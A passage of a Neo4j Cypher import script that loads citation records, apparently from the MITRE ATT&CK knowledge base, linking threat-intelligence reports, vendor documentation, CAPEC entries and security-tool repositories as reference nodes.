properties:{hashes:[], description:"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", external_id:"", external_reference_id:"f85793b6-f362-48c5-9f63-18a1657ccb0f", url:"https://github.com/n1nj4sec/pupy", source_name:"GitHub Pupy"}}, {_id:11938, properties:{hashes:[], description:"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", external_id:"", external_reference_id:"0dbfc891-f6f5-4783-bc1a-9a896f15ae65", url:"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/", source_name:"Palo Alto Comnie"}}, {_id:11952, properties:{hashes:[], description:"Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", external_id:"", external_reference_id:"8a195495-5622-4857-8838-354f5e53fa63", url:"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", source_name:"Symantec Dragonfly"}}, {_id:11969, properties:{hashes:[], description:"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", external_reference_id:"a1bf08f3-d5e9-4f42-b9ee-51ebca45d6dc", external_id:"", source_name:"FireEye APT34 Webinar Dec 2017", url:"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}}, {_id:11979, properties:{hashes:[], description:"Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", external_reference_id:"80200bf5-1735-4e0d-bb01-1d9fb4891ca0", external_id:"", source_name:"FireEye Operation Double Tap", url:"https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html"}}, {_id:12005, properties:{hashes:[], description:"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", external_id:"", external_reference_id:"9d159535-f184-4be4-bb49-42e2b43c8086", url:"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html", source_name:"Lotus Blossom Jun 2015"}}, {_id:12017, properties:{hashes:[], description:"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", external_id:"", external_reference_id:"d0d23701-1d8c-40df-bc18-b2b24b2fa410", url:"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments", source_name:"Symantec Sowbug Nov 2017"}}, {_id:12030, properties:{hashes:[], description:"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", external_id:"", external_reference_id:"9951f31e-3331-4737-a26f-27dfebc77cd4", url:"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html", source_name:"FireEye APT10 April 2017"}}, {_id:12031, properties:{hashes:[], description:"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", external_id:"", external_reference_id:"79e11018-1c0a-41b3-b4fd-7e6a164787ad", url:"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", source_name:"FireEye APT10 Sept 2018"}}, {_id:12033, properties:{hashes:[], description:"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", external_reference_id:"2e5e9c28-f16f-4f3f-9e95-03ed990a28b4", external_id:"", source_name:"FireEye Periscope March 2018", url:"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:12051, properties:{hashes:[], description:"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", external_id:"", external_reference_id:"7fae1552-5c01-4dc6-b6af-94f530de5355", url:"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", source_name:"Symantec Buckeye"}}, {_id:12052, properties:{hashes:[], description:"Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", external_id:"", external_reference_id:"f42a7b1c-c1ea-4c88-b566-f33e6bb8474e", url:"https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html", source_name:"FireEye Clandestine Fox"}}, {_id:343, properties:{hashes:[], description:"Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.", external_reference_id:"f0e18a11-73bb-4c66-b5ed-037fcd6d3e7c", external_id:"", url:"https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign", source_name:"Proofpoint Vega Credential Stealer May 2018"}}, {_id:344, properties:{hashes:[], description:"Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.", external_reference_id:"0aeeed5f-7613-4556-a3da-349f70f33da8", external_id:"", source_name:"FireEye HawkEye Malware July 2017", url:"https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html"}}, {_id:345, properties:{hashes:[], description:"Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.", external_reference_id:"2fce178d-eb29-4bb6-9f39-d297ff347876", external_id:"", url:"https://github.com/putterpanda/mimikittenz", source_name:"GitHub Mimikittenz July 2016"}}, {_id:366, properties:{hashes:[], description:"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", external_reference_id:"13eb5aa6-6e16-44fd-ac96-2c218d3d301c", external_id:"", source_name:"University of Birmingham C2", url:"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}}, {_id:306, properties:{hashes:[], description:"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", external_id:"", external_reference_id:"0e4b323d-cc71-4e40-b177-b67bdc38d842", url:"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/", source_name:"Palo Alto Reaver Nov 2017"}}, {_id:337, properties:{hashes:[], description:"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", external_reference_id:"53fd7aa4-1b7a-4798-a1ac-921a3afa60d4", external_id:"", url:"https://adsecurity.org/?p=1729", source_name:"AdSecurity DCSync Sept 2015"}}, {_id:340, properties:{hashes:[], description:"", external_id:"T1503", external_reference_id:"15626e51-4fef-440f-b7ac-155a18f20dfb", url:"https://attack.mitre.org/techniques/T1503", source_name:"mitre-attack"}}, {_id:341, properties:{hashes:[], description:"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", external_reference_id:"b77ec441-b2c6-4b0c-b773-3f87bc4e21ac", external_id:"", source_name:"Talos Olympic Destroyer 2018", url:"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"}}, {_id:342, properties:{hashes:[], description:"Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.", external_reference_id:"14c99cf7-cb34-4c80-9d9c-37ff200425cc", external_id:"", url:"https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata", source_name:"Microsoft CryptUnprotectData ‎April 2018"}}, {_id:305, properties:{hashes:[], description:"Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.", external_reference_id:"3d41cd1a-b427-49a6-8cdb-6b0f5b8fab69", external_id:"", source_name:"TrendMicro CPL Malware Dec 2013", url:"https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/"}}, {_id:667, properties:{hashes:[], description:"", external_id:"T1107", external_reference_id:"430e7ebd-18c3-469e-817a-ff6f9e39c4df", url:"https://attack.mitre.org/techniques/T1107", source_name:"mitre-attack"}}, {_id:671, properties:{hashes:[], description:"", external_id:"T1006", external_reference_id:"402dc622-6d63-43a9-bcbe-edb047703a04", url:"https://attack.mitre.org/techniques/T1006", source_name:"mitre-attack"}}, {_id:678, properties:{hashes:[], description:"Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.", external_reference_id:"4618c8dc-7af4-40ac-8e66-9f92c13a85ed", external_id:"", source_name:"Mozilla Firefox Installer DLL Hijack", url:"https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/"}}, {_id:689, properties:{hashes:[], description:"Microsoft. (2018, May 30). File Security and Access Rights. Retrieved August 19, 2018.", external_reference_id:"f17781a7-046c-4d0c-93e6-8c44661e7bbd", external_id:"", source_name:"Microsoft File Rights May 2018", url:"https://docs.microsoft.com/windows/desktop/fileio/file-security-and-access-rights"}}, {_id:691, properties:{hashes:[], description:"Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", external_reference_id:"51060f2f-f098-4fcb-b82f-412e50debc03", external_id:"", source_name:"Hybrid Analysis Icacls1 June 2018", url:"https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"}}, {_id:707, properties:{hashes:[], description:"", external_id:"T1187", external_reference_id:"488929b3-dbeb-4751-948f-46afe916885a", url:"https://attack.mitre.org/techniques/T1187", source_name:"mitre-attack"}}, {_id:708, properties:{hashes:[], description:"Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.", external_reference_id:"8ed8bed3-8070-4299-81f2-7dba3d3eb15a", external_id:"", source_name:"Wikipedia Server Message Block", url:"https://en.wikipedia.org/wiki/Server_Message_Block"}}, {_id:709, properties:{hashes:[], description:"Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.", external_reference_id:"33e23594-ba25-45cf-880b-01143e3cfa06", external_id:"", source_name:"Didier Stevens WebDAV Traffic", url:"https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:710, properties:{hashes:[], description:"Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.", external_reference_id:"e35156cd-bfb5-4e12-92af-78e7f6c6c6a2", external_id:"", source_name:"Microsoft Managing WebDAV Security", url:"https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx"}}, {_id:711, properties:{hashes:[], description:"Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.", external_id:"", external_reference_id:"79f758ec-5f97-4d67-b38c-4f18f203d26a", url:"https://github.com/hob0/hashjacking", source_name:"GitHub Hashjacking"}}, {_id:712, properties:{hashes:[], description:"Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.", external_id:"", external_reference_id:"43831020-3e1e-4b2c-a6f4-b212376db2b0", url:"https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf", source_name:"Cylance Redirect to SMB"}}, {_id:713, properties:{hashes:[], description:"Malith, O. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.", external_reference_id:"339fd37a-d800-4acb-a525-d418001841e3", external_id:"", source_name:"Osanda Stealing NetNTLM Hashes", url:"https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/"}}, {_id:714, properties:{hashes:[], description:"US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", external_reference_id:"5e8b125b-e05c-406a-9b0c-e077ed4daeae", external_id:"", source_name:"US-CERT APT Energy Oct 2017", url:"https://www.us-cert.gov/ncas/alerts/TA17-293A"}}, {_id:1519, properties:{hashes:[], description:"", external_id:"T1023", external_reference_id:"5dec0165-f561-41f4-9c2b-6ffc79496ac7", url:"https://attack.mitre.org/techniques/T1023", source_name:"mitre-attack"}}, {_id:1528, properties:{hashes:[], description:"Landers, N. (2017, August 8). monoxgas Status Update. Retrieved April 10, 2018.", external_reference_id:"15781747-7890-4c78-ac4e-81af4cdb1c31", external_id:"", url:"https://twitter.com/monoxgas/status/895045566090010624", source_name:"Twitter monoxgas Status Update SyncAppvPublishingServer"}}, {_id:1553, properties:{hashes:[], description:"ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019.", external_id:"", external_reference_id:"668a32bb-aaec-4d64-a619-b4a6fa38cb89", url:"https://ss64.com/bash/source.html", source_name:"Source Manual"}}, {_id:1562, properties:{hashes:[], description:"", external_id:"T1193", external_reference_id:"012d104f-f0c6-465a-84c7-24843402803d", url:"https://attack.mitre.org/techniques/T1193", source_name:"mitre-attack"}}, {_id:1580, properties:{hashes:[], description:"Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.", external_id:"", external_reference_id:"7420d705-3ecf-47f0-a48c-33783a83c53a", url:"http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", source_name:"SANS Decrypting SSL"}}, {_id:1587, properties:{hashes:[], description:"Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.", external_id:"", external_reference_id:"ce725914-76b8-45f9-b230-d1fc3aeb12b8", url:"http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29", source_name:"Wikipedia OSI"}}, {_id:1589, properties:{hashes:[], description:"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", external_reference_id:"594b8073-79d6-4864-a382-3f6f1973e64c", external_id:"", source_name:"University of Birmingham C2", url:"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}}, {_id:1616, properties:{hashes:[], description:"", external_id:"T1492", external_reference_id:"5e1675b7-37dd-4f90-b471-c807fb7c9b04", url:"https://attack.mitre.org/techniques/T1492", source_name:"mitre-attack"}}, {_id:1617, properties:{hashes:[], description:"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", external_id:"", external_reference_id:"f7cb95b5-afe8-4081-81c4-70cd035fb68e", url:"https://content.fireeye.com/apt/rpt-apt38", source_name:"FireEye APT38 Oct 2018"}}, {_id:1618, properties:{hashes:[], description:"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", external_id:"", external_reference_id:"0cf4e0cb-d283-4e81-a3dd-b1fc6c25f3ec", url:"https://www.justice.gov/opa/press-release/file/1092091/download", source_name:"DOJ Lazarus Sony 2018"}}, {_id:1633, properties:{hashes:[], description:"", external_id:"CAPEC-439", external_reference_id:"26d4a7f9-9927-41f1-9a1c-1e700614226a", source_name:"capec", url:"https://capec.mitre.org/data/definitions/439.html"}}, {_id:1640, properties:{hashes:[], description:"Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.", external_id:"", external_reference_id:"771d11b1-2671-4ac2-84fa-9f37fc7283af", url:"https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets", source_name:"Trendmicro NPM Compromise"}}, {_id:1655, properties:{hashes:[], description:"", external_id:"T1082", external_reference_id:"cdf12759-5683-44ac-8ead-1aadffdcf8d2", url:"https://attack.mitre.org/techniques/T1082", source_name:"mitre-attack"}}, {_id:1672, properties:{hashes:[], description:"", external_id:"T1033", external_reference_id:"0f47ca36-3758-4ef1-a8dd-9e86b0b5f19d", url:"https://attack.mitre.org/techniques/T1033", source_name:"mitre-attack"}}, {_id:1681, properties:{hashes:[], description:"Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.", external_reference_id:"6078c046-ea2d-4548-a7cb-bd1b971fccc7", external_id:"", source_name:"Microsoft Shutdown Oct 2017", url:"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:1703, properties:{hashes:[], description:"", external_id:"T1080", external_reference_id:"aa27f41d-44e8-43f5-82d6-e26aeeba3b8c", url:"https://attack.mitre.org/techniques/T1080", source_name:"mitre-attack"}}, {_id:1704, properties:{hashes:[], description:"", external_id:"CAPEC-562", external_reference_id:"4526081d-a4aa-4e75-af4f-488d104dafb5", source_name:"capec", url:"https://capec.mitre.org/data/definitions/562.html"}}, {_id:1383, properties:{hashes:[], description:"", external_id:"CAPEC-552", external_reference_id:"65302992-73c1-47ce-82f6-52d9334df411", source_name:"capec", url:"https://capec.mitre.org/data/definitions/552.html"}}, {_id:1410, properties:{hashes:[], description:"", external_id:"T1198", external_reference_id:"af474867-33e5-46cf-9b2f-7aa5e0001b05", url:"https://attack.mitre.org/techniques/T1198", source_name:"mitre-attack"}}, {_id:1426, properties:{hashes:[], description:"Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.", external_reference_id:"419cfca4-106a-4053-80f8-cbab47c8f1a1", external_id:"", source_name:"Clockwork SSH Agent Hijacking", url:"https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking"}}, {_id:1442, properties:{hashes:[], description:"", external_id:"T1029", external_reference_id:"e92deffc-fc2a-4dc0-b5dd-600098ce3f8d", url:"https://attack.mitre.org/techniques/T1029", source_name:"mitre-attack"}}, {_id:862, properties:{hashes:[], description:"Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.", external_reference_id:"f1076ff4-f566-427f-b2d8-dd71c76bcc43", external_id:"", source_name:"Microsoft Sigcheck May 2017", url:"https://docs.microsoft.com/sysinternals/downloads/sigcheck"}}, {_id:863, properties:{hashes:[], description:"Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.", external_id:"", external_reference_id:"218a58db-8ea7-4ef6-a61d-565926b80ffa", url:"https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/", source_name:"Tripwire AppUNBlocker"}}, {_id:1271, properties:{hashes:[], description:"Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.", external_id:"", external_reference_id:"b799c90e-4bf0-4c57-b8ab-9c466aa893b8", url:"http://www.autosectools.com/process-hollowing.pdf", source_name:"Leitch Hollowing"}}, {_id:1278, properties:{hashes:[], description:"Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.", external_reference_id:"83927484-352f-401a-b264-23d9eaf72d49", external_id:"", source_name:"Endgame HuntingNMemory June 2017", url:"https://www.endgame.com/blog/technical-blog/hunting-memory"}}, {_id:1290, properties:{hashes:[], description:"Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", external_id:"", external_reference_id:"2ebb8970-425f-40d7-9887-1ff9dd3c888c", url:"https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", source_name:"RHEL auditd"}}, {_id:1293, properties:{hashes:[], description:"PowerSploit. (n.d.). Retrieved December 4, 2014.", external_id:"", external_reference_id:"b2a1ca4a-f6bf-4fb9-b582-0bbcd60020af", url:"https://github.com/mattifestation/PowerSploit", source_name:"Powersploit"}}, {_id:1307, properties:{hashes:[], description:"", external_id:"T1164", external_reference_id:"1b7e7d5c-432f-4fcd-9af9-37c37fed64b6", url:"https://attack.mitre.org/techniques/T1164", source_name:"mitre-attack"}}, {_id:1332, properties:{hashes:[], description:"", external_id:"T1117", external_reference_id:"98c40eb2-e244-4a28-81d3-fcc901a79a6f", url:"https://attack.mitre.org/techniques/T1117", source_name:"mitre-attack"}}, {_id:1333, properties:{hashes:[], description:"Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.", external_id:"", external_reference_id:"29422add-d52f-4276-8603-82ee74a015c4", url:"https://support.microsoft.com/en-us/kb/249873", source_name:"Microsoft Regsvr32"}}, {_id:1334, properties:{hashes:[], description:"LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.", external_id:"", external_reference_id:"211bd0cf-556d-4d61-a876-0e3daf80c373", url:"https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/", source_name:"LOLBAS Regsvr32"}}, {_id:1335, properties:{hashes:[], description:"Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.", external_reference_id:"67ea2b14-c950-46ef-af06-2c9af27ba5e3", external_id:"", source_name:"Carbon Black Squiblydoo Apr 2016", url:"https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"}}, {_id:1336, properties:{hashes:[], description:"Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.", external_reference_id:"ad2720c6-e467-4d82-a1ca-d9071a98b9a8", external_id:"", url:"https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html", source_name:"FireEye Regsvr32 Targeting Mongolian Gov"}}, {_id:998, properties:{hashes:[], description:"Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.", external_reference_id:"1ea525dd-9447-40d2-a280-b95e74a57a3c", external_id:"", source_name:"Infosecinstitute RTLO Technique", url:"https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/"}}, {_id:999, properties:{hashes:[], description:"Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.", external_id:"", external_reference_id:"5873497b-43e9-4e0b-86ee-debb876ceb29", url:"https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/", source_name:"Trend Micro PLEAD RTLO"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:1000, properties:{hashes:[], description:"Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.", external_reference_id:"722dffe4-9a11-4470-9cea-99c17db6ff09", external_id:"", source_name:"Kaspersky RTLO Cyber Crime", url:"https://securelist.com/zero-day-vulnerability-in-telegram/83800/"}}, {_id:1001, properties:{hashes:[], description:"Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019.", external_reference_id:"a82e3c1d-caf5-4dc8-bd78-6c55da26562f", external_id:"", source_name:"Threatexpress MetaTwin 2017", url:"https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/"}}, {_id:1002, properties:{hashes:[], description:"Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", external_id:"", external_reference_id:"fe68a299-2dad-44e5-8139-881b00c32d37", url:"https://www.endgame.com/blog/how-hunt-masquerade-ball", source_name:"Endgame Masquerade Ball"}}, {_id:1003, properties:{hashes:[], description:"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", external_id:"", external_reference_id:"76528ea0-aa63-4f8d-875e-367a65ca0320", url:"https://www.f-secure.com/documents/996508/1030745/CozyDuke", source_name:"F-Secure CozyDuke"}}, {_id:416, properties:{hashes:[], description:"Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015.", external_id:"", external_reference_id:"18fe5075-0aa2-48c4-a33b-894f424e1807", url:"http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf", source_name:"Zhang 2013"}}, {_id:420, properties:{hashes:[], description:"", external_id:"T1486", external_reference_id:"900b139f-9969-445c-aa09-eb855472face", url:"https://attack.mitre.org/techniques/T1486", source_name:"mitre-attack"}}, {_id:421, properties:{hashes:[], description:"US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.", external_reference_id:"0d5ba144-669c-43d9-9aca-6fa385ab42ab", external_id:"", source_name:"US-CERT Ransomware 2016", url:"https://www.us-cert.gov/ncas/alerts/TA16-091A"}}, {_id:762, properties:{hashes:[], description:"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", external_id:"", external_reference_id:"cbfbc882-31ac-48e8-b9f3-41295a6bd250", url:"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", source_name:"Antiquated Mac Malware"}}, {_id:779, properties:{hashes:[], description:"Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.", external_reference_id:"1077e992-a216-4d13-9efc-9d974cea0285", external_id:"", source_name:"Microsoft Process Snapshot", url:"https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"}}, {_id:788, properties:{hashes:[], description:"Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.", external_id:"", external_reference_id:"260527ff-8fb6-477a-83cd-f1a5f9fc497e", url:"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf", source_name:"Myers 2007"}}, {_id:793, properties:{hashes:[], description:"", external_id:"T1183", external_reference_id:"ca28d7a1-fea9-4996-8cc5-8cda6db8af7f", url:"https://attack.mitre.org/techniques/T1183", source_name:"mitre-attack"}}, {_id:794, properties:{hashes:[], description:"Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.", external_reference_id:"18e2abd2-6072-4711-b165-2793f8864858", external_id:"", source_name:"Microsoft Dev Blog IFEO Mar 2010", url:"https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"}}, {_id:795, properties:{hashes:[], description:"Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.", external_id:"", external_reference_id:"a3470680-5438-46b1-9582-397cb67d3932", url:"https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview", source_name:"Microsoft GFlags Mar 2017"}}, {_id:735, properties:{hashes:[], description:"Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019.", external_reference_id:"4828dad5-3445-4411-a25b-0daa886c1284", external_id:"", url:"http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/", source_name:"Harmj0y SeEnableDelegationPrivilege Right"}}, {_id:738, properties:{hashes:[], description:"", external_id:"T1148", external_reference_id:"edf46af8-2d82-4e89-8346-c1a5f49b378c", url:"https://attack.mitre.org/techniques/T1148", source_name:"mitre-attack"}}, {_id:760, properties:{hashes:[], description:"", external_id:"T1143", external_reference_id:"ef61c37d-fd18-4e78-86a6-3b82e00363e8", url:"https://attack.mitre.org/techniques/T1143", source_name:"mitre-attack"}}, {_id:761, properties:{hashes:[], description:"Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.", external_id:"", external_reference_id:"79306c69-2129-4a55-a2bb-6f090662d8bd", url:"https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1", source_name:"PowerShell About 2019"}}, {_id:807, properties:{hashes:[], description:"Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.", external_reference_id:"2460f28a-333a-4ef8-8abe-4ba55b7fc45b", external_id:"", url:"https://github.com/RhinoSecurityLabs/ccat", source_name:"Rhino Labs Cloud Backdoor September 2019"}}, {_id:808, properties:{hashes:[], description:"Doman, C. & Hegel, T.. (2019, March 14). Making it Rain - Cryptocurrency Mining Attacks in the Cloud. Retrieved October 3, 2019.", external_reference_id:"3d5339b9-30d8-4d52-8d77-735dc733c253", external_id:"", url:"https://www.alienvault.com/blogs/labs-research/making-it-rain-cryptocurrency-mining-attacks-in-the-cloud", source_name:"ATT Cybersecurity Cryptocurrency Attacks on Cloud"}}, {_id:813, properties:{hashes:[], description:"Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.", external_id:"", external_reference_id:"ef4cd6d8-66fc-42a1-9725-26842fd8b8ce", url:"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A", source_name:"Microsoft Lamin Sept 2017"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
